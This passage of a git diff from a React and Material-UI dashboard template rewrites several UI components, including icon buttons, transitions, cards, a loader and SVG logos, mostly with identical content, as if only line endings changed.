{ + boxShadow: `0 0 0 0 ${withAlpha(main, 0.9)}` + }, + '&:focus-visible': { + outline: `2px solid ${dark}`, + outlineOffset: 2 + } + }; + + switch (variant) { + case 'contained': + return { + color: contrastText, + background: main, + '&:hover': { + background: dark + }, + ...commonShadow + }; + case 'light': + return { + color: main, + background: lighter, + '&:hover': { + background: withAlpha(light, 0.5) + }, + ...commonShadow + }; + case 'shadow': + return { + boxShadow: shadows, + color: contrastText, + background: main, + '&:hover': { + boxShadow: 'none', + background: dark + }, + ...commonShadow + }; + case 'outlined': + return { + '&:hover': { + background: 'transparent', + color: dark, + borderColor: dark + }, + ...commonShadow + }; + case 'dashed': + return { + background: lighter, + '&:hover': { + color: dark, + borderColor: dark + }, + ...commonShadow + }; + case 'text': + default: + return { + '&:hover': { + color: dark, + background: color === 'secondary' ? withAlpha(light, 0.1) : lighter + }, + ...commonShadow + }; + } +} + +const IconButtonStyle = styled(MuiIconButton, { shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'shape' })( + ({ theme, color, variant }) => ({ + position: 'relative', + '::after': { + content: '""', + display: 'block', + position: 'absolute', + left: 0, + top: 0, + width: '100%', + height: '100%', + borderRadius: 4, + opacity: 0, + transition: 'all 0.5s' + }, + + ':active::after': { + position: 'absolute', + borderRadius: 4, + left: 0, + top: 0, + opacity: 1, + transition: '0s' + }, + + ...getColorStyle({ variant, theme, color }), + + variants: [ + { + props: { shape: 'rounded' }, + style: { + borderRadius: '50%', + '::after': { borderRadius: '50%' }, + ':active::after': { borderRadius: '50%' } + } + }, + { + props: { variant: 'outlined' }, + style: { + border: '1px solid', + borderColor: 'inherit' + } + }, + { + props: { variant: 'dashed' }, + style: { + border: '1px dashed', + borderColor: 'inherit' + } + }, + { + props: ({ variant }) => variant !== 'text', + style: { + '&.Mui-disabled': { + background: theme.vars.palette.grey[200], + '&:hover': { + background: theme.vars.palette.grey[200], + color: theme.vars.palette.grey[300], + borderColor: 'inherit' + } + } + } + } + ] + }) +); + +function IconButton({ variant = 'text', shape = 'square', children, color = 'primary', ref, ...others }) { + return ( + <IconButtonStyle ref={ref} disableRipple variant={variant} shape={shape} color={color} {...others}> + {children} + </IconButtonStyle> + ); +} + +IconButton.displayName = 'IconButton'; + +export default IconButton; + +getColorStyle.propTypes = { variant: PropTypes.any, theme: PropTypes.any, color: PropTypes.any }; + +IconButton.propTypes = { + variant: PropTypes.string, + shape: PropTypes.string, + children: PropTypes.node, + color: PropTypes.string, + ref: PropTypes.any, + others: PropTypes.any +}; diff --git a/src/components/@extended/Transitions.jsx b/src/components/@extended/Transitions.jsx index a2ec1c369..6b3838e05 100644 --- a/src/components/@extended/Transitions.jsx +++ b/src/components/@extended/Transitions.jsx @@ -1,120 +1,120 @@ -import PropTypes from 'prop-types'; - -// material-ui -import Collapse from '@mui/material/Collapse'; -import Fade from '@mui/material/Fade'; -import Grow from '@mui/material/Grow'; -import Slide from '@mui/material/Slide'; -import Zoom from '@mui/material/Zoom'; -import Box from '@mui/material/Box'; - -export default function Transitions({ children, position = 'top-left', type = 'grow', direction = 'up', ref, ...others }) { - let positionSX = { - transformOrigin: '0 0 0' - }; - - switch (position) { - case 'top-right': - positionSX = { - transformOrigin: 'top right' - }; - break; - case 'top': - positionSX = { - transformOrigin: 'top' - }; - break; - case 'bottom-left': - positionSX = { - transformOrigin: 'bottom left' - }; - break; - case 'bottom-right': - positionSX = { - transformOrigin: 'bottom right' - }; - break; - case 'bottom': - positionSX = { - transformOrigin: 'bottom' - }; - break; - case 'top-left': - default: - positionSX = { - transformOrigin: '0 0 0' - }; - break; - } - - return ( - <Box ref={ref}> - {type === 'grow' && ( - <Grow - {...others} - timeout={{ - appear: 0, - enter: 150, - exit: 150 - }} - > - <Box sx={positionSX}>{children}</Box> - </Grow> - )} - - {type === 'collapse' && ( - <Collapse {...others} sx={positionSX}> - {children} - </Collapse> - )} - - {type === 'fade' && ( - <Fade - {...others} - timeout={{ - appear: 0, - enter: 300, - exit: 150 - }} - > - <Box sx={positionSX}>{children}</Box> - </Fade> - )} - - {type === 'slide' && ( - <Slide - {...others} - timeout={{ - appear: 0, - enter: 150, - exit: 150 - }} - direction={direction} - > - <Box sx={positionSX}>{children}</Box> - </Slide> - )} - - {type === 'zoom' && ( - <Zoom {...others}> - <Box sx={positionSX}>{children}</Box> - </Zoom> - )} - </Box> - ); -} - -export function PopupTransition({ ref, ...props }) { - return <Zoom ref={ref} timeout={200} {...props} />; -} - -Transitions.propTypes = { - children: PropTypes.node, - position: PropTypes.string, - type: PropTypes.string, - ref: PropTypes.any, - direction: PropTypes.oneOf(['up', 'right', 'left', 'down']), - others: PropTypes.any -}; - -PopupTransition.propTypes = { ref: PropTypes.any, props: PropTypes.any }; +import PropTypes from 'prop-types'; + +// material-ui +import Collapse from '@mui/material/Collapse'; +import Fade from '@mui/material/Fade'; +import Grow from '@mui/material/Grow'; +import Slide from '@mui/material/Slide'; +import Zoom from '@mui/material/Zoom'; +import Box from '@mui/material/Box'; + +export default function Transitions({ children, position = 'top-left', type = 'grow', direction = 'up', ref, ...others }) { + let positionSX = { + transformOrigin: '0 0 0' + }; + + switch (position) { + case 'top-right': + positionSX = { + transformOrigin: 'top right' + }; + break; + case 'top': + positionSX = { + transformOrigin: 'top' + }; + break; + case 'bottom-left': + positionSX = { + transformOrigin: 'bottom left' + }; + break; + case 'bottom-right': + positionSX = { + transformOrigin: 'bottom right' + }; + break; + case 'bottom': + positionSX = { + transformOrigin: 'bottom' + }; + break; + case 'top-left': + default: + positionSX = { + transformOrigin: '0 0 0' + }; + break; + } + + return ( + <Box ref={ref}> + {type === 'grow' && ( + <Grow + {...others} + timeout={{ + appear: 0, + enter: 150, + exit: 150 + }} + > + <Box sx={positionSX}>{children}</Box> + </Grow> + )} + + {type === 'collapse' && ( + <Collapse {...others} sx={positionSX}> + {children} + </Collapse> + )} + + {type === 'fade' && ( + <Fade + {...others} + timeout={{ + appear: 0, + enter: 300, + exit: 150 + }} + > + <Box sx={positionSX}>{children}</Box> + </Fade> + )} + + {type === 'slide' && ( + <Slide + {...others} + timeout={{ + appear: 0, + enter: 150, + exit: 150 + }} + direction={direction} + > + <Box sx={positionSX}>{children}</Box> + </Slide> + )} + + {type === 'zoom' && ( + <Zoom {...others}> + <Box sx={positionSX}>{children}</Box> + </Zoom> + )} + </Box> + ); +} + +export function PopupTransition({ ref, ...props }) { + return <Zoom ref={ref} timeout={200} {...props} />; +} + +Transitions.propTypes = { + children: PropTypes.node, + position: PropTypes.string, + type: PropTypes.string, + ref: PropTypes.any, + direction: PropTypes.oneOf(['up', 'right', 'left', 'down']), + others: PropTypes.any +}; + +PopupTransition.propTypes = { ref: PropTypes.any, props: PropTypes.any }; diff --git a/src/components/ContainerWrapper.jsx b/src/components/ContainerWrapper.jsx index 0e1b9cb32..0528a1f43 100644 --- a/src/components/ContainerWrapper.jsx +++ b/src/components/ContainerWrapper.jsx @@ -1,19 +1,19 @@ -import PropTypes from 'prop-types'; -// project imports -import useMediaQuery from '@mui/material/useMediaQuery'; -import Container from '@mui/material/Container'; -import Box from '@mui/material/Box'; - -// ==============================|| CONTAINER WRAPPER ||============================== // - -export default function ContainerWrapper({ children, ...rest }) { - const downMD = useMediaQuery((theme) => theme.breakpoints.down('md')); - - return ( - <Container maxWidth="lg" disableGutters={downMD} {...rest}> - <Box sx={{ px: { xs: 1.5, sm: 2, md: 0 } }}>{children}</Box> - </Container> - ); -} - -ContainerWrapper.propTypes = { children: PropTypes.any, rest: PropTypes.any }; +import PropTypes from 'prop-types'; +// project imports +import useMediaQuery from '@mui/material/useMediaQuery'; +import Container from '@mui/material/Container'; +import Box from '@mui/material/Box'; + +// ==============================|| CONTAINER WRAPPER ||============================== // + +export default function ContainerWrapper({ children, ...rest }) { + const downMD = useMediaQuery((theme) => theme.breakpoints.down('md')); + + return ( + <Container maxWidth="lg" disableGutters={downMD} {...rest}> + <Box sx={{ px: { xs: 1.5, sm: 2, md: 0 } }}>{children}</Box> + </Container> + ); +} + +ContainerWrapper.propTypes = { children: PropTypes.any, rest: PropTypes.any }; diff --git a/src/components/Loadable.jsx b/src/components/Loadable.jsx index e4b8af49c..4f4fb4c5c 100644 --- a/src/components/Loadable.jsx +++ b/src/components/Loadable.jsx @@ -1,16 +1,16 @@ -import { Suspense } from 'react'; - -// project imports -import Loader from './Loader'; - -// ==============================|| LOADABLE - LAZY LOADING ||============================== // - -const Loadable = (Component) => (props) => { - return ( - <Suspense fallback={<Loader />}> - <Component {...props} /> - </Suspense> - ); -}; - -export default Loadable; +import { Suspense } from 'react'; + +// project imports +import Loader from './Loader'; + +// ==============================|| LOADABLE - LAZY LOADING ||============================== // + +const Loadable = (Component) => (props) => { + return ( + <Suspense fallback={<Loader />}> + <Component {...props} /> + </Suspense> + ); +}; + +export default Loadable; diff --git a/src/components/Loader.jsx b/src/components/Loader.jsx index c2230d688..0ce67b9e0 100644 --- a/src/components/Loader.jsx +++ b/src/components/Loader.jsx @@ -1,13 +1,13 @@ -// material-ui -import LinearProgress from '@mui/material/LinearProgress'; -import Box from '@mui/material/Box'; - -// ==============================|| Loader ||============================== // - -export default function Loader() { - return ( - <Box sx={{ position: 'fixed', top: 0, left: 0, zIndex: 2001, width: 1 }}> - <LinearProgress color="primary" /> - </Box> - ); -} +// material-ui +import LinearProgress from '@mui/material/LinearProgress'; +import Box from '@mui/material/Box'; + +// ==============================|| Loader ||============================== // + +export default function Loader() { + return ( + <Box sx={{ position: 'fixed', top: 0, left: 0, zIndex: 2001, width: 1 }}> + <LinearProgress color="primary" /> + </Box> + ); +} diff --git a/src/components/MainCard.jsx b/src/components/MainCard.jsx index 14b7933a8..a30bf3011 100644 --- a/src/components/MainCard.jsx +++ b/src/components/MainCard.jsx @@ -1,97 +1,97 @@ -import PropTypes from 'prop-types'; - -// material-ui -import Card from '@mui/material/Card'; -import CardContent from '@mui/material/CardContent'; -import CardHeader from '@mui/material/CardHeader'; -import Divider from '@mui/material/Divider'; - -export default function MainCard({ - border = true, - boxShadow, - children, - subheader, - content = true, - contentSX = {}, - darkTitle, - divider = true, - elevation, - secondary, - shadow, - sx = {}, - title, - codeHighlight = false, - codeString, - modal = false, - ref, - ...others -}) { - return ( - <Card - elevation={elevation || 0} - sx={(theme) => ({ - position: 'relative', - ...(border && { border: `1px solid ${theme.vars.palette.grey['A800']}` }), - borderRadius: 1, - boxShadow: boxShadow && !border ? shadow || theme.vars.customShadows.z1 : 'inherit', - ':hover': { boxShadow: boxShadow ? shadow || theme.vars.customShadows.z1 : 'inherit' }, - ...(codeHighlight && { - '& pre': { margin: 0, padding: '12px !important', fontFamily: theme.typography.fontFamily, fontSize: '0.75rem' } - }), - ...(modal && { - position: 'absolute', - top: '50%', - left: '50%', - transform: 'translate(-50%, -50%)', - width: { xs: `calc(100% - 50px)`, sm: 'auto' }, - maxWidth: 768 - }), - ...(typeof sx === 'function' ? sx(theme) : sx || {}) - })} - ref={ref} - {...others} - > - {/* card header and action */} - {!darkTitle && title && ( - <CardHeader - sx={{ p: 2.5 }} - slotProps={{ - title: { variant: darkTitle ? 'h4' : 'subtitle1' }, - action: { sx: { m: '0px auto', alignSelf: 'center' } } - }} - title={title} - action={secondary} - subheader={subheader} - /> - )} - - {/* content & header divider */} - {title && divider && <Divider />} - - {/* card content */} - {content && <CardContent sx={contentSX}>{children}</CardContent>} - {!content && children} - </Card> - ); -} - -MainCard.propTypes = { - border: PropTypes.bool, - boxShadow: PropTypes.bool, - children: PropTypes.node, - subheader: PropTypes.oneOfType([PropTypes.string, PropTypes.node]), - content: PropTypes.bool, - contentSX: PropTypes.object, - darkTitle: PropTypes.bool, - divider: PropTypes.bool, - elevation: PropTypes.number, - secondary: PropTypes.any, - shadow: PropTypes.string, - sx: PropTypes.object, - title: PropTypes.oneOfType([PropTypes.string, PropTypes.node]), - codeHighlight: PropTypes.bool, - codeString: PropTypes.string, - modal: PropTypes.bool, - ref: PropTypes.object, - others: PropTypes.any -}; +import PropTypes from 'prop-types'; + +// material-ui +import Card from '@mui/material/Card'; +import CardContent from '@mui/material/CardContent'; +import CardHeader from '@mui/material/CardHeader'; +import Divider from '@mui/material/Divider'; + +export default function MainCard({ + border = true, + boxShadow, + children, + subheader, + content = true, + contentSX = {}, + darkTitle, + divider = true, + elevation, + secondary, + shadow, + sx = {}, + title, + codeHighlight = false, + codeString, + modal = false, + ref, + ...others +}) { + return ( + <Card + elevation={elevation || 0} + sx={(theme) => ({ + position: 'relative', + ...(border && { border: `1px solid ${theme.vars.palette.grey['A800']}` }), + borderRadius: 1, + boxShadow: boxShadow && !border ? shadow || theme.vars.customShadows.z1 : 'inherit', + ':hover': { boxShadow: boxShadow ? shadow || theme.vars.customShadows.z1 : 'inherit' }, + ...(codeHighlight && { + '& pre': { margin: 0, padding: '12px !important', fontFamily: theme.typography.fontFamily, fontSize: '0.75rem' } + }), + ...(modal && { + position: 'absolute', + top: '50%', + left: '50%', + transform: 'translate(-50%, -50%)', + width: { xs: `calc(100% - 50px)`, sm: 'auto' }, + maxWidth: 768 + }), + ...(typeof sx === 'function' ? sx(theme) : sx || {}) + })} + ref={ref} + {...others} + > + {/* card header and action */} + {!darkTitle && title && ( + <CardHeader + sx={{ p: 2.5 }} + slotProps={{ + title: { variant: darkTitle ? 'h4' : 'subtitle1' }, + action: { sx: { m: '0px auto', alignSelf: 'center' } } + }} + title={title} + action={secondary} + subheader={subheader} + /> + )} + + {/* content & header divider */} + {title && divider && <Divider />} + + {/* card content */} + {content && <CardContent sx={contentSX}>{children}</CardContent>} + {!content && children} + </Card> + ); +} + +MainCard.propTypes = { + border: PropTypes.bool, + boxShadow: PropTypes.bool, + children: PropTypes.node, + subheader: PropTypes.oneOfType([PropTypes.string, PropTypes.node]), + content: PropTypes.bool, + contentSX: PropTypes.object, + darkTitle: PropTypes.bool, + divider: PropTypes.bool, + elevation: PropTypes.number, + secondary: PropTypes.any, + shadow: PropTypes.string, + sx: PropTypes.object, + title: PropTypes.oneOfType([PropTypes.string, PropTypes.node]), + codeHighlight: PropTypes.bool, + codeString: PropTypes.string, + modal: PropTypes.bool, + ref: PropTypes.object, + others: PropTypes.any +}; diff --git a/src/components/ScrollTop.jsx b/src/components/ScrollTop.jsx index a58167e12..fa9731a19 100644 --- a/src/components/ScrollTop.jsx +++ b/src/components/ScrollTop.jsx @@ -1,18 +1,18 @@ -import PropTypes from 'prop-types'; -import { useEffect } from 'react'; - -// ==============================|| NAVIGATION - SCROLL TO TOP ||============================== // - -export default function ScrollTop({ children }) { - useEffect(() => { - window.scrollTo({ - top: 0, - left: 0, - behavior: 'smooth' - }); - }, []); - - return children || null; -} - -ScrollTop.propTypes = { children: PropTypes.oneOfType([PropTypes.any, PropTypes.node]) }; +import PropTypes from 'prop-types'; +import { useEffect } from 'react'; + +// ==============================|| NAVIGATION - SCROLL TO TOP ||============================== // + +export default function ScrollTop({ children }) { + useEffect(() => { + window.scrollTo({ + top: 0, + left: 0, + behavior: 'smooth' + }); + }, []); + + return children || null; +} + +ScrollTop.propTypes = { children: PropTypes.oneOfType([PropTypes.any, PropTypes.node]) }; diff --git a/src/components/cards/AuthFooter.jsx b/src/components/cards/AuthFooter.jsx index ee9450132..fbf0c6f56 100644 --- a/src/components/cards/AuthFooter.jsx +++ b/src/components/cards/AuthFooter.jsx @@ -1,50 +1,50 @@ -// material-ui -import Link from '@mui/material/Link'; -import Typography from '@mui/material/Typography'; -import Stack from '@mui/material/Stack'; - -// project imports -import ContainerWrapper from 'components/ContainerWrapper'; - -// ==============================|| FOOTER - AUTHENTICATION ||============================== // - -export default function AuthFooter() { - return ( - <ContainerWrapper> - <Stack - direction={{ xs: 'column', sm: 'row' }} - sx={{ gap: 2, justifyContent: { xs: 'center', sm: 'space-between' }, textAlign: { xs: 'center', sm: 'inherit' }, py: 2 }} - > - <Typography variant="subtitle2" color="secondary"> - Β© Made with love by Team{' '} - <Link href="https://codedthemes.com/" target="_blank" underline="hover"> - CodedThemes - </Link> - </Typography> - - <Stack direction={{ xs: 'column', sm: 'row' }} sx={{ gap: { xs: 1, sm: 3 }, textAlign: { xs: 'center', sm: 'inherit' } }}> - <Typography - variant="subtitle2" - color="secondary" - component={Link} - href="https://mui.com/store/terms/" - target="_blank" - underline="hover" - > - Terms and Conditions - </Typography> - <Typography - variant="subtitle2" - color="secondary" - component={Link} - href="https://mui.com/legal/privacy/" - target="_blank" - underline="hover" - > - Privacy Policy - </Typography> - </Stack> - </Stack> - </ContainerWrapper> - ); -} +// material-ui +import Link from '@mui/material/Link'; +import Typography from '@mui/material/Typography'; +import Stack from '@mui/material/Stack'; + +// project imports +import ContainerWrapper from 'components/ContainerWrapper'; + +// ==============================|| FOOTER - AUTHENTICATION ||============================== // + +export default function AuthFooter() { + return ( + <ContainerWrapper> + <Stack + direction={{ xs: 'column', sm: 'row' }} + sx={{ gap: 2, justifyContent: { xs: 'center', sm: 'space-between' }, textAlign: { xs: 'center', sm: 'inherit' }, py: 2 }} + > + <Typography variant="subtitle2" color="secondary"> + Β© Made with love by Team{' '} + <Link href="https://codedthemes.com/" target="_blank" underline="hover"> + CodedThemes + </Link> + </Typography> + + <Stack direction={{ xs: 'column', sm: 'row' }} sx={{ gap: { xs: 1, sm: 3 }, textAlign: { xs: 'center', sm: 'inherit' } }}> + <Typography + variant="subtitle2" + color="secondary" + component={Link} + href="https://mui.com/store/terms/" + target="_blank" + underline="hover" + > + Terms and Conditions + </Typography> + <Typography + variant="subtitle2" + color="secondary" + component={Link} + href="https://mui.com/legal/privacy/" + target="_blank" + underline="hover" + > + Privacy Policy + </Typography> + </Stack> + </Stack> + </ContainerWrapper> + ); +} diff --git a/src/components/cards/statistics/AnalyticEcommerce.jsx b/src/components/cards/statistics/AnalyticEcommerce.jsx index 8851d6913..4378b8c06 100644 --- a/src/components/cards/statistics/AnalyticEcommerce.jsx +++ b/src/components/cards/statistics/AnalyticEcommerce.jsx @@ -1,65 +1,65 @@ -import PropTypes from 'prop-types'; -// material-ui -import Chip from '@mui/material/Chip'; -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import MainCard from 'components/MainCard'; - -// assets -import RiseOutlined from '@ant-design/icons/RiseOutlined'; -import FallOutlined from '@ant-design/icons/FallOutlined'; - -const iconSX = { fontSize: '0.75rem', color: 'inherit', marginLeft: 0, marginRight: 0 }; - -export default function AnalyticEcommerce({ color = 'primary', title, count, percentage, isLoss, extra }) { - return ( - <MainCard contentSX={{ p: 2.25 }}> - <Stack sx={{ gap: 0.5 }}> - <Typography variant="h6" color="text.secondary"> - {title} - </Typography> - <Grid container sx={{ alignItems: 'center' }}> - <Grid> - <Typography variant="h4" color="inherit"> - {count} - </Typography> - </Grid> - {percentage && ( - <Grid> - <Chip - variant="combined" - color={color} - icon={isLoss ? <FallOutlined style={iconSX} /> : <RiseOutlined style={iconSX} />} - label={`${percentage}%`} - sx={{ ml: 1.25, pl: 1 }} - size="small" - /> - </Grid> - )} - </Grid> - </Stack> - <Box sx={{ pt: 2.25 }}> - <Typography variant="caption" color="text.secondary"> - You made an extra{' '} - <Typography variant="caption" sx={{ color: `${color || 'primary'}.main` }}> - {extra} - </Typography>{' '} - this year - </Typography> - </Box> - </MainCard> - ); -} - -AnalyticEcommerce.propTypes = { - color: PropTypes.string, - title: PropTypes.string, - count: PropTypes.string, - percentage: PropTypes.number, - isLoss: PropTypes.bool, - extra: PropTypes.string -}; +import PropTypes from 'prop-types'; +// material-ui +import Chip from '@mui/material/Chip'; +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import MainCard from 'components/MainCard'; + +// assets +import RiseOutlined from '@ant-design/icons/RiseOutlined'; +import FallOutlined from '@ant-design/icons/FallOutlined'; + +const iconSX = { fontSize: '0.75rem', color: 'inherit', marginLeft: 0, marginRight: 0 }; + +export default function AnalyticEcommerce({ color = 'primary', title, count, percentage, isLoss, extra }) { + return ( + <MainCard contentSX={{ p: 2.25 }}> + <Stack sx={{ gap: 0.5 }}> + <Typography variant="h6" color="text.secondary"> + {title} + </Typography> + <Grid container sx={{ alignItems: 'center' }}> + <Grid> + <Typography variant="h4" color="inherit"> + {count} + </Typography> + </Grid> + {percentage && ( + <Grid> + <Chip + variant="combined" + color={color} + icon={isLoss ? <FallOutlined style={iconSX} /> : <RiseOutlined style={iconSX} />} + label={`${percentage}%`} + sx={{ ml: 1.25, pl: 1 }} + size="small" + /> + </Grid> + )} + </Grid> + </Stack> + <Box sx={{ pt: 2.25 }}> + <Typography variant="caption" color="text.secondary"> + You made an extra{' '} + <Typography variant="caption" sx={{ color: `${color || 'primary'}.main` }}> + {extra} + </Typography>{' '} + this year + </Typography> + </Box> + </MainCard> + ); +} + +AnalyticEcommerce.propTypes = { + color: PropTypes.string, + title: PropTypes.string, + count: PropTypes.string, + percentage: PropTypes.number, + isLoss: PropTypes.bool, + extra: PropTypes.string +}; diff --git a/src/components/logo/LogoIcon.jsx b/src/components/logo/LogoIcon.jsx index e433afe13..e4d70bb1f 100644 --- a/src/components/logo/LogoIcon.jsx +++ b/src/components/logo/LogoIcon.jsx @@ -1,39 +1,39 @@ -// material-ui -import { useTheme } from '@mui/material/styles'; - -// ==============================|| LOGO ICON SVG ||============================== // - -export default function LogoIcon() { - const theme = useTheme(); - - return ( - <svg width="129" height="129" viewBox="0 0 129 129" fill="none" xmlns="http://www.w3.org/2000/svg"> - <path - d="M7.27577 57.2242L17.5616 46.9384L17.5724 46.9276H36.9234L29.2238 54.6273L27.2358 56.6152L19.3511 64.5L20.3276 65.4792L64.5 109.649L109.649 64.5L101.761 56.6152L101.206 56.0572L92.0766 46.9276H111.428L111.438 46.9384L119.5 55.0002L129 64.5L64.5 129L0 64.5L7.27577 57.2242ZM64.5 0L101.77 37.2695H82.4185L64.5 19.3511L46.5816 37.2695H27.2305L64.5 0Z" - fill={theme.vars.palette.primary.dark} - /> - <path - d="M19.3509 64.5L27.2357 56.6152L29.2236 54.6273L21.5267 46.9276H17.5722L17.5615 46.9384L7.27561 57.2242L17.1483 67.0487L19.3509 64.5Z" - fill="url(#paint0_linear)" - /> - <path - d="M101.762 56.6152L109.649 64.5L108.868 65.2807L108.871 65.2834L119.5 55.0002L111.438 46.9384L111.428 46.9276H110.644L101.206 56.0572L101.762 56.6152Z" - fill="url(#paint1_linear)" - /> - <path - d="M17.5508 46.9276L17.5615 46.9384L27.2357 56.6152L64.4999 93.8767L111.449 46.9276H17.5508Z" - fill={theme.vars.palette.primary.main} - /> - <defs> - <linearGradient id="paint0_linear" x1="25.0225" y1="49.3259" x2="11.4189" y2="62.9295" gradientUnits="userSpaceOnUse"> - <stop stopColor={theme.vars.palette.primary.darker} /> - <stop offset="0.9637" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> - </linearGradient> - <linearGradient id="paint1_linear" x1="103.5" y1="49.5" x2="114.5" y2="62" gradientUnits="userSpaceOnUse"> - <stop stopColor={theme.vars.palette.primary.darker} /> - <stop offset="1" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> - </linearGradient> - </defs> - </svg> - ); -} +// material-ui +import { useTheme } from '@mui/material/styles'; + +// ==============================|| LOGO ICON SVG ||============================== // + +export default function LogoIcon() { + const theme = useTheme(); + + return ( + <svg width="129" height="129" viewBox="0 0 129 129" fill="none" xmlns="http://www.w3.org/2000/svg"> + <path + d="M7.27577 57.2242L17.5616 46.9384L17.5724 46.9276H36.9234L29.2238 54.6273L27.2358 56.6152L19.3511 64.5L20.3276 65.4792L64.5 109.649L109.649 64.5L101.761 56.6152L101.206 56.0572L92.0766 46.9276H111.428L111.438 46.9384L119.5 55.0002L129 64.5L64.5 129L0 64.5L7.27577 57.2242ZM64.5 0L101.77 37.2695H82.4185L64.5 19.3511L46.5816 37.2695H27.2305L64.5 0Z" + fill={theme.vars.palette.primary.dark} + /> + <path + d="M19.3509 64.5L27.2357 56.6152L29.2236 54.6273L21.5267 46.9276H17.5722L17.5615 46.9384L7.27561 57.2242L17.1483 67.0487L19.3509 64.5Z" + fill="url(#paint0_linear)" + /> + <path + d="M101.762 56.6152L109.649 64.5L108.868 65.2807L108.871 65.2834L119.5 55.0002L111.438 46.9384L111.428 46.9276H110.644L101.206 56.0572L101.762 56.6152Z" + fill="url(#paint1_linear)" + /> + <path + d="M17.5508 46.9276L17.5615 46.9384L27.2357 56.6152L64.4999 93.8767L111.449 46.9276H17.5508Z" + fill={theme.vars.palette.primary.main} + /> + <defs> + <linearGradient id="paint0_linear" x1="25.0225" y1="49.3259" x2="11.4189" y2="62.9295" gradientUnits="userSpaceOnUse"> + <stop stopColor={theme.vars.palette.primary.darker} /> + <stop offset="0.9637" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> + </linearGradient> + <linearGradient id="paint1_linear" x1="103.5" y1="49.5" x2="114.5" y2="62" gradientUnits="userSpaceOnUse"> + <stop stopColor={theme.vars.palette.primary.darker} /> + <stop offset="1" stopColor={theme.vars.palette.primary.dark} stopOpacity="0" /> + </linearGradient> + </defs> + </svg> + ); +} diff --git a/src/components/logo/LogoMain.jsx b/src/components/logo/LogoMain.jsx index 1713e5c4e..232f09d2a 100644 --- a/src/components/logo/LogoMain.jsx +++ b/src/components/logo/LogoMain.jsx @@ -1,45 +1,45 @@ -// material-ui -import { useTheme } from '@mui/material/styles'; - -// ==============================|| LOGO SVG ||============================== // - -export default function LogoMain() { - const theme = useTheme(); - return ( - <> - <svg width="118" height="35" viewBox="0 0 118 35" fill="none" xmlns="http://www.w3.org/2000/svg"> - <path - d="M4.63564 15.8644L6.94797 13.552L6.95038 13.5496H11.3006L9.56969 15.2806L9.12278 15.7275L7.35024 17.5L7.56977 17.7201L17.5 27.6498L27.6498 17.5L25.8766 15.7275L25.7518 15.602L23.6994 13.5496H28.0496L28.052 13.552L29.8644 15.3644L32 17.5L17.5 32L3 17.5L4.63564 15.8644ZM17.5 3L25.8784 11.3784H21.5282L17.5 7.35024L13.4718 11.3784H9.12158L17.5 3Z" - fill={theme.vars.palette.primary.dark} - /> - <path - d="M7.35025 17.5L9.1228 15.7275L9.5697 15.2805L7.83937 13.5496H6.95039L6.94798 13.552L4.63564 15.8644L6.8551 18.073L7.35025 17.5Z" - fill="url(#paint0_linear)" - /> - <path - d="M25.8767 15.7275L27.6498 17.5L27.4743 17.6755L27.4749 17.6761L29.8644 15.3644L28.0521 13.552L28.0497 13.5496H27.8736L25.7518 15.602L25.8767 15.7275Z" - fill="url(#paint1_linear)" - /> - <path - d="M6.94549 13.5496L6.9479 13.552L9.12272 15.7275L17.4999 24.1041L28.0544 13.5496H6.94549Z" - fill={theme.vars.palette.primary.main} - /> - <path - d="M46.5781 10V26H49.3594V14.9844H49.5078L53.9297 25.9531H56.0078L60.4297 15.0078H60.5781V26H63.3594V10H59.8125L55.0625 21.5937H54.875L50.125 10H46.5781ZM69.8438 26.2422C71.7266 26.2422 72.8516 25.3594 73.3672 24.3516H73.4609V26H76.1797V17.9687C76.1797 14.7969 73.5937 13.8438 71.3047 13.8438C68.7813 13.8438 66.8437 14.9687 66.2188 17.1562L68.8594 17.5312C69.1406 16.7109 69.9375 16.0078 71.3203 16.0078C72.6328 16.0078 73.3516 16.6797 73.3516 17.8594V17.9062C73.3516 18.7188 72.5 18.7578 70.3828 18.9844C68.0547 19.2344 65.8281 19.9297 65.8281 22.6328C65.8281 24.9922 67.5547 26.2422 69.8438 26.2422ZM70.5781 24.1641C69.3984 24.1641 68.5547 23.625 68.5547 22.5859C68.5547 21.5 69.5 21.0469 70.7656 20.8672C71.5078 20.7656 72.9922 20.5781 73.3594 20.2812V21.6953C73.3594 23.0312 72.2813 24.1641 70.5781 24.1641ZM81.8516 18.9687C81.8516 17.2344 82.8984 16.2344 84.3906 16.2344C85.8516 16.2344 86.7266 17.1953 86.7266 18.7969V26H89.5547V18.3594C89.5625 15.4844 87.9219 13.8438 85.4453 13.8438C83.6484 13.8438 82.4141 14.7031 81.8672 16.0391H81.7266V14H79.0234V26H81.8516V18.9687ZM98.4219 14H96.0547V11.125H93.2266V14H91.5234V16.1875H93.2266V22.8594C93.2109 25.1172 94.8516 26.2266 96.9766 26.1641C97.7813 26.1406 98.3359 25.9844 98.6406 25.8828L98.1641 23.6719C98.0078 23.7109 97.6875 23.7812 97.3359 23.7812C96.625 23.7812 96.0547 23.5312 96.0547 22.3906V16.1875H98.4219V14ZM100.787 26H103.615V14H100.787V26ZM102.209 12.2969C103.107 12.2969 103.842 11.6094 103.842 10.7656C103.842 9.91406 103.107 9.22656 102.209 9.22656C101.303 9.22656 100.568 9.91406 100.568 10.7656C100.568 11.6094 101.303 12.2969 102.209 12.2969ZM116.008 17.1719C115.617 15.1406 113.992 13.8438 111.18 13.8438C108.289 13.8438 106.32 15.2656 106.328 17.4844C106.32 19.2344 107.398 20.3906 109.703 20.8672L111.75 21.2969C112.852 21.5391 113.367 21.9844 113.367 22.6641C113.367 23.4844 112.477 24.1016 111.133 24.1016C109.836 24.1016 108.992 23.5391 108.75 22.4609L105.992 22.7266C106.344 24.9297 108.195 26.2344 111.141 26.2344C114.141 26.2344 116.258 24.6797 116.266 22.4062C116.258 20.6953 115.156 19.6484 112.891 19.1562L110.844 18.7188C109.625 18.4453 109.141 18.0234 109.148 17.3281C109.141 16.5156 110.039 15.9531 111.219 15.9531C112.523 15.9531 113.211 16.6641 113.43 17.4531L116.008 17.1719Z" - fill={theme.vars.palette.common.black} - fillOpacity="0.85" - /> - <defs> - <linearGradient id="paint0_linear" x1="8.62526" y1="14.0888" 